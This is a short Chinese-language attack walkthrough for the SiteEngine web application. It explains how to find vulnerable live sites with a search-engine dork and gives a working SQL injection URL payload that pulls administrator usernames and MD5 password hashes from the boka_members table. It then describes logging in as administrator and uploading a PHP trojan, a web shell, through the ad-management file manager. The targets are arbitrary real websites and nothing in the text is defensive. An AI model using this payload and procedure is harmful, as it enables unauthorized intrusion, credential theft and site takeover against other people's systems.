SiteEngine的漏洞

1)

在百度中以“Powered by SiteEngine”为关键字进行搜索，随便点击一个网站，域名后输入如下代码(announcements.php?id=1%bf%27%20and%201=2%20%20UNION%20select%201,2,username,4,5,6,7,password,9,10,11%20from%20boka_members%20/*)
2)

这段代码查询数据库中boka_members表里的管理员帐户名和密码。如果注入成功，可以看到网站的管理员帐户名和MD5加密的管理员密码。
3)

在目标网站域名后输入admin进入登录页面,我们输入帐户名和密码进行登录。依次点击侧边栏处的“广告管理”→“增加广告”。打开页面后，点击下方的内容编辑栏处的“上传图像”按钮，再点击“档案”处的浏览按钮，进入到“SiteEngine文件管理器”，在这里我们就可以将php木马直接上传.